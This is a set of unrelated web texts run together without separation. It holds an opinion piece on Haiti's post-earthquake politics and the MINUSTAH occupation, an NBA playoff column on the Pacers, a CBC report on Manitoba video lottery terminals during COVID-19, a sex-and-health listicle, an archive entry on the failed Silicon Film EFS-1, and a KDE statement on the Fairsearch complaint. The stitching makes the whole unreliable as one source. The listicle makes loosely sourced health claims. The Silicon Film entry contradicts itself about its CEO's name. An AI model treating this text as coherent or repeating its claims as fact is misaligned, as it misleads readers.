MINUSTAH is the UN Security Council military occupation regime that deployed in Haiti in June 2004 to consolidate the Feb. 29, 2004 coup against Haiti’s progressive and elected President Jean-Bertrand Aristide.
The next wave of large protests is planned to take place in cities across Haiti on Jan. 12, the earthquake’s fifth anniversary.
Foreign occupation and the slide to authoritarian rule
Three factors are driving the protest movement — Martelly’s march towards authoritarian rule since coming to power in March 2011, the ongoing MINUSTAH occupation, and the failed record of earthquake reconstruction.
Although two presidential elections have been held in the years following the 2004 coup against Aristide, both Presidents René Préval and Michel Martelly have been dominated by and essentially subservient to imperialist powers. This weak state was dramatically symbolized by the partial collapse of Haiti’s iconic century-old presidential palace in the earthquake. It could not be salvaged and has been razed.
Right after the quake, the U.S., Canada, and Europe rushed Haiti into a election which they brazenly meddled in to establish even stronger neo-colonial rule. A two-round presidential election in November 2010 and March 2011 brought Martelly to the presidency, but only after the Organization of American States (OAS) intervened and illegally changed the outcome. The largest political party in the country — Aristide’s Fanmi Lavalas — was excluded, producing the lowest voter turnout of any polling in the Western Hemisphere’s history. The election was entirely financed from abroad.
President Michel Martelly finally managed to get his long-time business partner Laurent Lamothe named as prime minister, and the two declared Haiti “open for business,” meaning that foreign, sweatshop factory investment was to be Haiti’s economic salvation, complemented by foreign aid and charity. Public sector intervention to tackle housing, healthcare, education, and other emergency needs was eschewed.
Martelly was a close ally of the extreme right-wing that twice overthrew Aristide in 1991 and 2004. He honored former tyrant Jean-Claude Duvalier, who was driven out of Haiti by a popular uprising in 1986 and was content (and permitted) to live in France until his embezzled funds ran out and he returned to Haiti in January 2011.
Martelly’s family faces widespread allegations of corruption, including abuse of authority, money laundering, and the squandering public funds. But the Haitian people are also alarmed by Martelly’s steady march toward authoritarian rule. Martelly and Lamothe found excuses not to hold parliamentary and municipal elections, allowing electoral mandates expire. Rather than bargain in good faith with his political opposition to create a provisional electoral commission (CEP) to oversee democratic elections, Martelly sought to create a “permanent” CEP, stacking it with his partisans.
On Jan. 12, 2015, the mandates of most Parliamentarians expire, effectively dissolving the legislative branch. Martelly says he is then prepared to rule by decree.
In the past week, Martelly has nominated a controversial prime minister and concocted a political accord that would extend parliamentary terms and guarantee his own survival until May 14, 2016, but as we go to press, six vanguard senators have refused to vote, saying the prime minister and political map forward should come from the opposition and parliament, not Martelly’s back rooms.
Haiti Liberté‘s Thomas Péralte reported on Dec. 31 that large political protests (for Martelly’s resignation) took place for the first time ever in Haiti on Christmas Eve. Protesters said there is nothing to negotiate with the doomed regime, some saying they would prefer “civil war.”
Cholera and public health care
Tens of thousands of people died in the earthquake, and half the houses in Port-au-Prince, with a population of nearly three million, were destroyed or seriously damaged. Acute needs were intensified – for health care, sanitation, housing, public education, and economic development (including agriculture).
Early gains in earthquake relief were achieved with the public health initiatives taken by Haiti’s Public Health Ministry in cooperation with international missions, particularly those of Cuba (working in Haiti since 1999), Partners In Health (present since the 1980s) and many smaller, vital health care projects.
Cuban personnel and hundreds of students and graduates from other countries of the Latin American School of Medicine in Haiti fanned out into some of Haiti’s remotest parts to meet new and existing medical needs.[1] Other Latin American countries made substantial contributions to the Cuban-led health care effort. Cuba proposed a plan to the UN to create a comprehensive, public health care program for the country.
The Boston-based Partners In Health (PIH) expanded its work substantially, including building a second training hospital, opened in Mirebalais in 2012. PIH, too, voiced support and hope for a public health plan.
Tragically, the advances in building medical infrastructure suffered a huge blow in the autumn of 2010. The culprit was Haiti’s familiar old nemesis — foreign political intervention. MINUSTAH soldiers recklessly and criminally introduced cholera into the country when a Nepalese contingent allowed their cholera-infected sewage to flow into Haiti’s largest river system in October 2010. Over four years later, cholera has killed 8,500 people and sickened nearly 800,000, the world’s worst epidemic. The number of reported cases monthly was averaging 2,000 in 2014 but jumped in the latter months of the year.
Although UN Secretary General Ban Ki-Moon has promised money and resources to combat and eventually eradicate cholera, a report one year ago by the Washington DC-based Center for Economic Policy Alternatives noted, “The UN itself has pledged just one per cent of the funding needed for cholera treatment [estimated $2.2 billion], even as the UN’s mostly military and police mission in Haiti costs over $572 million a year”.
A recent report by Doctors Without Borders (MSF) blames those in authority in Haiti for persistent “shortages of funding, human resources, and drugs” in Haiti’s health care system, including for cholera. The UN as well as the major governments participating in MINUSTAH are denying any culpability for introducing cholera to Haiti and then failing to assist in its prevention. Cholera is easy to treat and prevent if there is the will and funds. It just requires potable water delivery and sanitary sewage disposal. That’s why people in New York or Toronto don’t get or die from cholera.
The cholera disaster only deepened the festering wound on Haiti’s body politic known as MINUSTAH. The continued presence of the force is an affront to the dignity and sovereignty of the Haitian people. [2]
The Housing Crisis
Housing was another of the most immediate needs in Haiti following the earthquake. International aid provided short-term shelters to protect from the elements. A reported 110,000 plywood shelters and tens of thousands of tent shelters were provided. Beginning in 2011, one-year rental subsidies were provided to families as an incentive for them to leave tent camps. The camps were an eyesore as well as visible testimony to the absence of substantial programs to build housing.
After mountains of studies highlighting the need for a massive home-building program in Haiti, the gains are few. According to a recent fact sheet on housing prepared by Church World Service and the Mennonite Central Committee (drawing on figures reported to UN agencies), some 85,000 earthquake victims still live in 123 camps of internally displaced persons within Port-au-Prince’s city limits.
Many tens of thousands more live in the new, sprawling informal suburban shantytowns of Canaan, Onaville, and Jerusalem, located beyond the pre-earthquake northern limits of the city. By a stroke of a pen, these communities are not considered as earthquake survivor settlements. That also means they don’t qualify for formal assistance.
Thirty four per cent of the families that left survivor camps were forced out by people claiming land ownership or by government officials. Twenty two of the remaining camps face eviction.
The aforementioned fact sheet reports that in the past five years, 27,353 houses have been repaired and 9,053 have been built, at a cost of $215 million. That amount compares to $500 million spent on the plywood shelters, most of which have long since deteriorated in the tropical weather or have been dismantled to build more permanent structures.
The UN-sponsored housing coordination body said in 2013: “Haiti needs to meet the challenge of constructing 500,000 new homes in order to meet the current housing deficit between now and 2020.”
The key instrument of Martelly’s housing “policy,” in keeping with the “Open for business” mantra, has been promises of financing for house construction. No housing agency of the government was created. But Haiti does not have networks of personal banking where people could obtain loans, and in any event, the proposal was laughable because most Haitians don’t have incomes to speak of. According to the updated country report on Haiti by the World Bank, more than six million out of Haiti’s population of 10.4 million live under the national poverty line of $2.44 per day. Over 2.5 million Haitians live under the national extreme poverty line of $1.24 per day. How are they to obtain loans to build houses?
In reality, the most active area of housing policy has been the clearing of survivor camps by force or by short-term economic lures. The latter has been facilitated by the Canada-funded, $20 million program of providing one-year rental subsidies.
Education
Public education was another key social need identified after the earthquake. Before the disaster, half of Haitian children did not attend school. The number reaching secondary school was much less. In 2011, the Martelly regime created a national education fund whose goal was said to get every Haitian child into school. It was to be financed by taxes on international phone calls and money transfers, which were never ratified or overseen by Parliament as constitutionally dictated. The plan has been plagued by a lack of transparency, and its achievements are very slim.
School administrators say that promised funding under the plan does not get delivered. Or it arrives months late. This year, the opening of the school year in September was delayed by a month because parents said they couldn’t afford to buy the textbooks and other supplies that schools were not supplying.
One of the outcomes of the fund, according to a lengthy investigation by Haiti Grassroots Watch published (in French) last July is that private schools have been favored over public schools. About 80% of Haiti’s primary and secondary schools are private, typically operated by churches and other charities from abroad.
Teacher unions in Haiti opposed the fund because it had no legislative authority and therefore operates outside of public oversight. Teachers have battled for years to establish a public education system and to pay teachers living wages. Last spring, strike action won salary increases of 30% to 60%, but salaries are still woefully inadequate.
Misguided economic development
Economic development was cited as key to Haiti’s future following the earthquake, including for agriculture. Most Haitians still live in the countryside, and those forced to move to the cities by economic circumstance have not done so freely. But international aid and governments never came close to fundamental change in this sphere. They rehabilitated the failed dogma that posits Haiti’s low-wage, factory labor force as an economic asset to be built upon. And they perpetuated the neglect of Haiti’s all–important agricultural production, including environmental decline prompted by deforestation.
A centrepiece of the sweatshop labor strategy promoted by former U.S. President Bill Clinton and current presidential aspirant Hillary Clinton is the Caracol Industrial Park, located far from the earthquake zone in Haiti’s north. It was touted to create tens of thousands of jobs when its idea was launched in 2010. But a 2013 investigation by reporter Jonathan Katz revealed that “fewer than 1,500 jobs have been created — paying too little, the locals say, and offering no job security.”
Katz reports, “Hundreds of smallholder farmers were coaxed into giving up more than 600 acres of land for the [industrial park] complex, yet nearly 95% of that land remains unused. A much-needed power plant was completed on the site, supplying the town with more electricity than ever, but locals say surges of wastewater have caused floods and spoiled crops.”
Assembly factories in the new park routinely pay below the meager US$4.76 average daily minimum wage. A report by the International Labor Organization (ILO) and the International Finance Cooperation (IFC) in 2013, which monitor and enforce factories’ compliance with national and international standards, found that all 24 of the factories it monitored in Haiti were “non-compliant”. All violate occupational safety and health standards. All violate minimum wage laws, and 11 violate overtime standards. None provide adequate health and first aid services, and 22 were in violation of worker protection standards.
And what has become of the billions of dollars of aid promised to Haiti” A report by CEPR in 2013 said that much of the aid earmarked for Haiti was not spent in Haiti at all; it went to foreign contractors. “67.1% of USAID contracts has gone to Beltway-based firms, while just 1.3% has gone to Haitian companies”, it wrote. And “of the $6.43 billion do-gooders by bilateral and multilateral donors to Haiti from 2010-2012, just nine percent went through the Haitian government.”
Writing in July of 2014, the CEPR reported that of the $1.38 billion awarded by USAID to projects in Haiti, just $12.36 million has gone to Haitian organizations. Of the Haitian amount, 57% went to Cemex Haiti, a local cement mixing outlet and subsidiary of the Mexican Cemex, the Mexican company that is one of the largest cement producers in the world. (Cemex purchased the former state-owned cement producer in Haiti some 15 years ago.)
A lot of celebrities and other prominent people have come and gone from Haiti over the past five years. Careers have been created or polished up by charitable works. The Clintons come to mind. Many Hollywood actors. Canada’s former governor-general (titular head of state), Michaëlle Jean, was a mouthpiece for the 2004 coup while she was governor general, then she became a Special Ambassador to Haiti for UNESCO following the earthquake. Recently, she rode rough over the objections of African countries to become the head of the Francophonie organization of French-speaking countries. What all these people as well as many other foreign do-gooders shared in common was their support for the political project keeping MINUSTAH and local clients (Martelly or some other derivative of him) in charge of the country, at the expense of the Haitian people.
CEPR Director Mark Weisbrot wrote one year ago that the lasting legacy of the earthquake “is the international community’s profound failure to set aside its own interests and respond to the most pressing needs of the Haitian people.”
But then there is the Haitian people – their mounting political actions and their unrelenting determination to build a country based on sovereignty and social justice. And their true and faithful international allies. Like the countries and healthcare projects mentioned earlier in this article. Like the lawyers of Bureau des avocats internationaux (BAI) and Institute for Justice and Democracy in Haiti (IJDH) who are suing the UN on behalf of the victims of cholera. Like the SOIL sanitation project and the organizations of peasants and farmers of Latin America who are working in the Haitian countryside. Like many school support projects which are an important form of the struggle for public education in Haiti.
These are the organizations who are working together with the Haitian people to help shape Haiti’s future.
Notes:
[1] For an early 2010 report of these efforts see ‘Field Notes from Haiti: After the Earthquake’, by MEDICC (Medical Education Cooperation with Cuba). [2] Read an eight page essay on the history of foreign intervention in Haiti: ‘ Haiti’s humanitarian crisis: Rooted in history of military coups and occupations ‘, by Roger Annis and Kim Ives, May 2011.
Here are places to go for information:
CHAN website, Haiti Liberté, IJDH
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Bob Kravitz
USA TODAY Sports
INDIANAPOLIS — Would it be impertinent to suggest that Indiana Pacers coach Frank Vogel might want to rest his starters once again? Like, in Game 2 of this first-round playoff series against the Atlanta Hawks?
Although the case could be made that the Pacers' collapsing, disintegrating starting unit — especially Roy Hibbert and George Hill — already took the night off Saturday during an embarrassing and thoroughly dispiriting 101-93 Game 1 loss to the Atlanta Hawks.
Somewhere, Tom Petty is crooning Free Falling.
Indiana has become the most confounding team in the NBA, a No. 1 seed that has completely lost its way this second half of the regular season. Suddenly, the Pacers seem poised for a very hard and inexplicable fall. It's too early to write the epitaph on a once-great season gone terribly wrong, but the time is getting close.
"Now we'll find out what we're made of," Hibbert said in a quiet postgame locker room.
Here's the crazy thing: This wasn't a surprise. If you've watched the Pacers closely the second half of this season, this wasn't completely unexpected. This team has lost 13 of its past 23, and two of those victories came with Vogel playing his reserves in an effort to provide the starters with rest.
They said they had to keep Hawks point guard Jeff Teague out of the paint. They didn't. Not once. Hill consistently got worked over and didn't get much help from his teammates.
They said they needed Hibbert to make Atlanta's Pero Antic pay on the defensive end. They didn't.
They said they needed to play with force and passion, yet they didn't corral a single loose ball and somehow gave up 14 offensive rebounds to an undersized team that is near the bottom of the league in offensive rebounding.
They said, as they've been saying all season, that they had to guard without fouling. They didn't, as the Hawks went 24-for-29 from the free-throw line, with 11 attempts by Paul Millsap and 10 by Teague.
They said they had to keep Kyle Korver under control from behind the three-point arc, yet there was Korver, time and time again, getting wide-open looks.
This team is in a funk, a fog, and it gives so indication it's inclined to break out of it any time soon.
By now, Vogel has tried everything to wake his team up during this second-half origami act.
He's whispered sweet nothings into the players' ears.
He's brought down the hammer.
He benched Hibbert against Atlanta the last time the teams met, and he benched the entire starting five in a game against the Milwaukee Bucks.
Then he tried to use the placebo effect, giving them several days off from practice and games in the hope that they would somehow believe that fatigue was their foe, and that time off would be the tonic for the troops.
Nothing has worked.
This was nothing less than a carryover from the last two or three months of a season that is rapidly slipping away. Somewhere along the way, they lost it, lost their cohesion, lost their mojo, lost their implicit trust in one another. And they can't seem to get it back.
What does Vogel do now? Desperate times, desperate measures.
It's time to think about fighting Atlanta's small lineup with a small lineup of their own. It's time to think about sitting Hibbert and starting Ian Mahinmi or playing a lineup that features David West and Luis Scola at power forward and center. It's time to give C.J. Watson more minutes; Hill is in his own sort of funk, and failed repeatedly to contain Teague. And, what the heck, why not find minutes for the forgotten one, Chris Copeland?
This is no time to get bull-headed, or their season will be over before you know it.
"We're going to stick with what we have, but in the playoffs, you've got to contemplate everything," Vogel said. "We've got a difficult matchup with a team that has a unique offensive attack, so you consider everything."
West was asked if it's time to make some seismic changes, either in the starting lineup or in the rotation.
He shook his head.
"Right now, no," he said. "We can't change who we've been all year."
All this time, all this season, they've been talking about earning the No. 1 seed and maintaining home-court advantage, and yet, here they are, locked in a series where they've already ceded home-court advantage to a team that finished 38-44.
It wasn't like the Hawks came into Bankers Life Fieldhouse and stole Game 1. No, they took Game 1, and grabbed the Pacers' lunch money in the process. This was a pretty thorough thrashing, and the Pacers' lack of fight through the second half was especially galling.
"I think once we eliminate them from spreading us out like they did (Saturday night), we'll be all right,'' Paul George said. "…(The Hawks) played as good a game as they can possibly play."
Empty words. It's all the Pacers have to offer right now. If they weren't ready for Game 1 — especially after getting embarrassed the last time the Hawks came to town — what makes anybody think they'll get this thing figured out in time to save this season?
The collapse isn't complete, not yet, but you can see it from here.
Bob Kravitz writes for The Indianapolis Star.
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I have to change my sleep patterns to get ready for school? Reddit will never believe this one!
109,634 shares
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It's been two weeks since the first case of COVID-19 was identified in Manitoba. Schools have suspended classes, gyms are closed and casinos are shut down but video lottery terminals in lounges and hotels remain in operation.
On March 20, half of Manitoba's 5,000 VLTs were remotely shut off by Manitoba Liquor & Lotteries, to ensure physical distancing between gamblers, said Scott Jocelyn of the Manitoba Hotel Association. He estimates half of his member hotels decided to close their lounges at that point.
But the partial shutdown of VLTs doesn't go far enough for the general manager of one small Winnipeg hotel.
"People weren't sitting right next to one another, but there's still not the six feet between them," he said.
CBC is not naming the manager or the hotel because he is concerned speaking out could affect his relationship with Manitoba Liquor & Lotteries.
"I myself did not understand because there is social distancing right now and of course, you're supposed to stay home if you can. I don't think that was one of the essentials — to have VLTs going," said the manager.
Atlantic Lotteries, which runs gambling operations for the four Atlantic provinces, shut down its VLTs on March 15 in response to advice from public health officials to ensure the safety of gamblers, workers and the public at large.
Manitoba has nearly 500 locations that run VLTs, which generate $199 million per year or just under $17 million per month in net revenue for the province.
The unnamed hotel's restaurant and lounge shut down this week out of concerns for staff safety. The general manager says the loss of revenue is not as important as keeping his workers — who have been laid off — healthy.
"You can have all the money in the world, but if you're sick, it's not worth it. So it's important that we just shut down so that we can keep our staff at home, keep them healthy."
Jocelyn says members of his association have had mixed reactions to the partial shutdown on VLTs. Some members took it upon themselves to completely shut their bars and lounges while others are staying open in order to keep their small businesses alive.
"The fact that some of those people have wrestled with that decision and come up with that, I'm glad they had the opportunity to make that decision [to close], because a lot of times we don't have the opportunity to make decisions," said Jocelyn. He says his members are subject to heavy regulation by Manitoba Liquor & Lotteries.
As for lounges that stay open, "I respect whatever decisions those people have made," said Jocelyn.
Occupancy limits
A spokesperson for Crown Services Minister Jeff Wharton says the government is closely following the advice of Manitoba's chief provincial public health officer Dr. Brent Roussin, who has not recommended closing licensed hospitality premises.
"At this time licensed hospitality premises, some of which include VLTs, can remain open but are subject to occupancy limits," said a spokesperson for Crown Services Minister Jeff Wharton.
The occupancy limits are 50 people or 50 per cent capacity whichever is lesser. Measures are also in place to ensure people stand at least one metre apart from one another.
Less than 20 per cent of VLTs in Manitoba are currently operating, a Manitoba Liquor & Lotteries spokesperson told CBC News in an email.
"VLT sites are independent private businesses. Many of them have closed and we have disabled alternating VLTs at any sites that remain open to maintain customer spacing (social distancing)," the spokesperson said.
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You've probably known for a while now that you quite like having sex – but what you may not have realised is just how good it is for you.
Yes, that's right: sex helps to keep you healthy. And we're not referring to that hoary old playground myth that a tumble in the hay three times a week is the same as running a marathon every year (it's much more). No, sex is beneficial for an array of scientifically proven reasons – and since today is World Sexual Health Day, now is a good time to learn them.
So, dim the lights, put some Barry White on, and snuggle up with our low-down on how more sex can improve your life ...
via GIPHY
Sex is a natural painkiller
According to research in the Bulletin of Experimental Biology and Medicine, orgasms half the body's sensitivity to pain, due to the flow of endorphins (read: natural painkillers) they create. What's more, those endorphins take effect in a matter of minutes – which is far quicker than most over-the-counter drugs available on the high street.
So, the next time your partner claims that he or she "has a headache," politely inform them that the best remedy is a spot of sexual healing. All together now ...
Sex combats illness
You know those people who say "I never get ill"? Well, it's possible that they're revealing more about themselves than they realise.
According to a study carried out in Pennsylvania and published in Psychology Report, people who have sex once or twice a week have, on average, 30pc more Immunoglobulin A (IgA), which is used to fight illness, than those who are not sexually active.
However, it's worth pointing out that this link between intercourse and immunity is not always positive. The same study found that the people with the lowest level of Immunoglobulin A were those who had sex more than twice a week.
Sex beats stress
Do you lie in bed awake at night worrying about tomorrow's meeting or that big DIY project on the horizon? Well, rather than turning the problems over in your head, the best course of action might be turning your partner over and making a play for a spell of stress-easing sex.
According to a study that was published in Biological Psychology, men who have recently had sex respond better to stressful situations.
To an extent, this should come as no shock: sex is largely considered to be an enjoyable pastime, so it's natural that it lowers your stress level. However, what is more surprising is the de-stressing affect that mere touch has. Another experiment, published in Behavioural Medicine, looked at couples who held each other's hands for 10 minutes, followed by a 20-second hug. They were shown to have healthier reactions to subsequent stress, such as public speaking, than couples who rested quietly without touching.
The huggers also had: lower heart rates, lower blood pressure, and smaller heart rate increases.
What he needs is a good ... Credit: Alamy
So, if your partner isn't interested when you turn him or her over, settle for a nice snuggle instead.
Sex helps the heart
Men who have sex at least twice a week can almost halve their risk of heart disease, according to research published in 2010 by scientists at the New England Research Institute in Massachusetts.
The study, of over 1,000 men, showed that sex has such a protective effect on the male that its authors went as far as calling for doctors to screen men for sexual activity when assessing their risk of heart disease.
They suggested that the benefits of sex could be due to both the physical and emotional effects on the body.
via GIPHY
Sex powers up the brain
Ok, so it's only been proven in rats to date – but one scientific study suggests that a rumble in the (pubic) jungle can boost brain power.
In 2010, research published in the journal PLoS ONE suggested that rats who mate regularly had a higher rate of cell proliferation in the hippocampus, which is the part of the brain linked to memory. The rats also experienced more brain cell growth and a rise in the number of connections between brain cells than those who did not.
So, forget about sudoku and instead consider more virile endeavours as your brain exercise.
Who said sex isn't a thinking man's game?
Sex makes you look younger
Regular sex could now be the key to looking up to seven years younger, according to Dr David Weeks, who is the former head of old age psychology at the Royal Edinburgh Hospital.
In 2013, Dr Weeks told the British Psychological Society that sex has a number of health benefits which can make men and women look between five and seven years younger. Partly, this is due to the health benefits summarised above (a healthy person tends to look younger than an unhealthy person), but he also pointed to the release of human growth hormone in the act of love making, which makes skin look more elastic.
Another piece of research, conducted by scientists at the Royal Edinburgh University, found that couples who merrily romp at least four times a week look a whole decade younger than less libidinous twosomes. The pleasure of penetration releases positive hormones such as adrenalin, dopamine and norepinephrine, which help preserve skin cells and relax muscles, therefore preventing wrinkles.
Which all suggests that the elixir of youth might spout from a very unexpected fountain ...
Good sex helps you last longer
Not only are men who have frequent sex more likely to last longer in the sack than those who don't; they're also more likely to last longer in the world.
As you've probably figured by now, sex is good for you – which is why a study conducted in a Welsh village in 1997 found that men who have two or more orgasms a week add up to eight years onto their lives than their less passionate brethren.
''Sexual activity seems to have a protective effect on men's health,'' wrote Dr. George Davey-Smith and his team of researchers from the University of Bristol and Queen's University of Belfast, pointing to the positive effects on the immune system, heart, and brain.
'My knight takes your castle': Kim Kardashian playing chess Credit: Melissa Whitworth
Indiana Jones wonders whether he really wants to try the elixir of youth Credit: Indiana Jones and the Last Crusade
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From Dead Media Archive
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Originally known as ImageK, Silicon FIlm is best known for never really existing. The digital film attachment for 35 mm film cameras generated lots of interest and publicity only to die out before every reaching the market. The product (dubbed the EFS-1) looks like a reel of 35mm film, and replaces the normal film to record the images digitally. At the bottom of the camera, a receiver is attached that allows users to view their photos
The EFS-1 and its Limitations
The unit itself only had 64MB of space, leaving room for only 24 images. To upload images, there are two options. The EFS-1 can be inserted into an e-port, which as a PCMCIA connector which can then be inserted into a PCMCIA slot for download. For those who are not around a computer, the e-port can be inserted into an e-box, which then transfers the images onto compactFlash cards. The EFS-1 took two batteries that could last for several hundred shots.
The 1.3 megapixel CMOS sensor only utilized 30% of the center of the frame, meaning that when looking in the viewfinder, there is a very small field of view (marked by a supplied rub-on transfer). What results from this is a multiplication of focal length by 2.58x, making a 28mm lens become 72mm for example.
Only certain cameras were supported by the EFS-1: Nikon F5, F3, N60/N90 and Canon EOS-1N, EOS-A2, EOS-5.
Shooting an image writes an RAW file onto the EFS-1 which is then decoded by a Photoshop plugin which performs bayer interpolation, white balance, gamma and exposure compensation.
Brief History
June 1998 - The first model of what would become Silicon Film appeared as ImageK, a subsidiary of Irvine Sensors, a company in Irvine California. The prototype of this model was an insert that they said had a 1.3 mega-pixel sensor and a 2.58x crop factor.
September 1999 - Irvine Sensors renames the product "Silicon Film"
February 2001 - The first public demo of Silicon FIlm takes place. According to those in attendance, the pictures shown in the demonstration were different from the models, causing speculation that the prototype was entirely nonfunctional and the images had been created prior to the demo.
September 2001 - Irvine Sensors announces the suspension of Silicon Film operations. The reasons cited include a supposed failure to pass European product safety (EMC) tests. The company claims however to have passed the USS (FCC) tests, but the FCC denied this claim
Business Decisions
“Will digital photography do to traditional photography what CDs did to records, make them a collectors item? Not as far as (e)film creators Silicon Film Technologies is concerned”
When it was first announced, Silicon Films’ Technology was considered to have the potential to be “as revolutionary as the Polaroid cameras of the 1950’s.” With headquarters in Irvine, California, the company defined the scope of its operations to include R&D in micro-miniaturization of imager packaging and integrated circuit sensor implementation.
Originally known as Imagek, the majority-owned, independently operated subsidiary of parent company Irvine Sensors Corporation was renamed Silicon Film Technologies in 1998. Under CEO Robert Webber the company was plagued with missed release dates and continual disappointments. As a result, Kenneth P. Fay from Kodak was brought on as Chief Operating Officer in early 2000 and later elected to the position of President and Chief Executive Officer. The board hoped the change in leadership might turn the company around and bring the vaporware technology into being, but it only lead them further towards a set of turbulent strategic decisions. Also in 2000, SFT partnered with MeltroniX, who specialized in design, volume manufacturing, and testing capabilities for high growth industries, to help with engineering and volume manufacturing issues. With the ongoing struggle to produce a working prototype, the issues of scale never became practical issues.
At the end of 2000, Irvine Sensor Corporation’s stock was considered to have a potentially very high reward after factoring in the risk Silicon Film Technologies brought to the company as a whole. Just over 6 months later, it announced a plan to change its CEO once again. In recruiting William Patton, the parent company thought the veteran business man could succeed where previous appointment Kenneth Lay had not. In the midst of these management shifts on March 15th 2000, Silicon Films signed an exclusive distribution contract with Ringfoto for immediate access into all European Union countries, Scandinavia and Eastern Europe photo market. These contracts were made under the assumption there would be a product to ship.
After its first life trade show in February 2001, the timeline for release appeared to be back on track. The product shown at show was partially outsourced to Quest Manufacturing, a vendor of shaped metal parts. In May 2001, Silicon Film Technologies announced it would begin accepting orders. This was under the assumption that it had received the necessary testing for public release, which it in fact had not. When taking orders, the company priced the EFS-1 System at $699, compatible with Nikon F5, N90, and F3 and the Canon EOS 1N A2/5 models.
After failing certification tests, Silicon Film Technologies was forced to suspend operations on September 15, 2001. The company attributed the issues to FCC and European emissions standards, but its parent company and largest creditor refused to extend further lines of credit. In an attempt to cover outstanding debts, SFT was bought out of bankruptcy shortly there after by Quest Manufacturing, a previous supplier.
But this isn’t where the patent stopped changing hands. When trying to continue development, Quest hired Applied Color Science to help engineer. While a working prototype was developed, the modular adaptor was larger than the camera. When Quest ran out of funding before it could miniaturize the product, the patent was again used to cover debt obligations, finally ending with Applied Color Science.
Fraud
In 2001, Silicon Film attended the Photo Marketing Association (or PMA) International Convention and Trade Show to unveil its long awaited EFS-1 digital film product and its accompanying accessories. At the time of this “demo” the product could only hold 24 pictures, was only compatible with Nikon F5, F3, N60/N90 and Canon EOS-1N, EOS-A2, and EOS-5 models, and limited the viewing area of the image. These limitations were a small compromise for the final unveiling of the product, but some message board enthusiasts speculate in hindsight that the performance put on at the stand might have been a well-orchestrated fraud where pictures were produced with a digital camera prior to the event.
Failure
More than 18 months after the product was promised, parent company Irvine Sensors Corporation was sued because of allegations of misleading information in regard to the state of Silicon Film Technologies Inc. The claims of the case are reproduced below:
(1) the EFS-1 suffered from serious and insurmountable technical design flaws; (2) these design problems would prevent the unit from passing the required FCC and CE certifications necessary to publicly release the product; (3) the current design of the EFS-1 was extremely difficult to produce. Specifically, it took hundreds of engineering hours to produce one unit with a success rate of about one unit in three working; (4) an internal design review was conducted in May, 2001 with all the top officers of SFI, ISC and all of the suppliers for the EFS-1 that were owed millions of dollars. The results of the internal design review were that SFI had a design and parts to produce about 200 units. However, the biggest contract SFI had was for 100 units to a European distributor who would not accept the units since they would not pass CE certification. The web-site sale commitments for domestic sales was for only a few dozen units; (5) EFS-1 technology presented potential patent conflicts with those already registered by Kodak; (6) SFI and ISC had scrapped the initial design of the EFS-1 and were scrambling to develop a new prototype; (7) several key employees on the EFS-1 project left SFI further hampering the development process; and (8) William Patton never accepted the position of Chairman and Chief Executive Officer of SFI..
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The product did suffer from technical design flaws. In its attempt to build on existing technologies it was forced to adapt. In the case of internal inconsistency between camera models the company found that 6 difference versions would cover the majority of “popular high-end camera bodies”. SFT might have been able to achieve the miniaturization, but luck was never on their side and Applied Color Science developed the technology long after the grass had grown over the grave of Silicon’s bankruptcy.
While there were technical design flaws in Silicon’s ambitious plans to create sensor, processor, and storage components, this obstacle was overcome by competitors in a timely manner. The real problem for Silicon Film was casting the product as a transitory step. It was targeted with lines such as “if you just aren't ready to go totally digital, the EFS-1 System from Silicon Film Technologies Inc. is a good compromise”. While this easy adaptation did have the benefits of using the SLR’s superior optics and features beyond those of the digital cameras at the time to sell to an existing consumer base, time was limited. Even with this quicker learning curve, the product would have to be in the market to be adopted. A senior engineer was on the record saying, “EFS was only ever going to be a short term product. We knew that DSLRs would fall in price and eventually make the system obsolete”. Here he recognized the time pressure that was too much for SFT.
As a compromise between the digital camera and popular SLR’s, the EFS effort exposes the expanding gap between consumer camera products and professional equipment brought on with the invention and spread of digital.
Beyond the market pressures to get the product out there were a vast marketing effort. Some critize the focus on profitability over development, joking that car rental expenses exceeded those for R&D. Beyond the technological and strategic reasons opposing success, an ultimate lesson from the failure of Silicon Film Technologies is that interesting ideas do not automatically turn into practical products.
Legacy
“When Silicon Film Technologies filed for Chapter 7 bankruptcy in Sept of 2001 EFS-1 was probably 3 months (my estimate, our management was saying 2 months) from reaching the market place.” Jon Stern - Senior Engineer, Silicon Film Technologies
The people at Silicon Film Technologies may have dropped the EPS-1, but they didn’t stop working. After going through iterations of selling and reselling, the company was known as Voyager One, and then finally settled on Monarch Petroleum Products, with a focus on producing gasoline additives.
References
"PMA 2001 Show Report: Section Four: Digital Photography Review." Digital Photography Review, News, Reviews, Forums, FAQ. 16 Feb. 2001. Web. 16 Nov. 2010. <http://www.dpreview.com/news/0102/01021404pma04.asp#siliconfilm>. "Silicon Film Technologies Promotes COO to CEO; Former Kodak Executive to Lead Company into Next Phase of Business. - Free Online Library." Free Online Library. /PRNewswire, 5 May 2001. Web. 16 Nov. 2010. <http://www.thefreelibrary.com/Silicon Film Technologies Promotes COO to CEO; Former Kodak Executive...-a061895730>. "MeltroniX Inks $2.8M Deal for Volume Manufacturing With Silicon Film." Business Wire. Business Wire. 2000. HighBeam Research. 16 Nov. 2010 <http://www.highbeam.com>. Nemeth, Andrew. "Silicon Film - an inside Story by Jon Stern." Andrew Nemeth Φ Nemeng.com. Web. 16 Nov. 2010. <http://nemeng.com/leica/004fa.shtml>. B.K. GREEN, on Behalf of Himself and All Others Similarly Situated v IRVINE SENSORS CORPORATION, ROBERT RICHARDS, JOHN STUART JR., JAMES D. EVERT, JOHN CARSON and ROBERT WEBBER,. CENTRAL DISTRICT OF CALIFORNIA, Southern Division. 14 Feb. 2002. Print.
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The KDE community is deeply concerned by the wrong notion contained in a recent complaint to the European Commission. The Fairsearch initiative claims that "distribution of Android at below-cost" could constitute anti-competitive behaviour or predatory pricing. Mirko Böhm produced a response (PDF) for the KDE Community.
In part, the Fairsearch complaint is an attempt to reduce the strong competition of Free Software platforms with proprietary offerings. KDE and other free software projects would be adversely affected by a misinformed decision about Android. The Internet itself (a basis for the Fairsearch complaint) is largely a product of Free Software. The KDE Community in one of the largest Free Software communities in the world, a global collaboration of companies and individuals building a free platform and creating programs in an openly governed development process.
The predatory pricing claims against Free Software platforms in the complaint to the European Commission are wrong in substance and hurtful to collaborative development and open innovation. Volunteer-driven Free Software communities rely on regulators to protect open innovation against the vested interests of strong proprietary players.
Members of the KDE Community encourage the European Commission to understand that Free Software truly fosters innovation and increases competition. At stake is the liberty of our contributors and those of other communities to collaboratively create and distribute software as a common good.
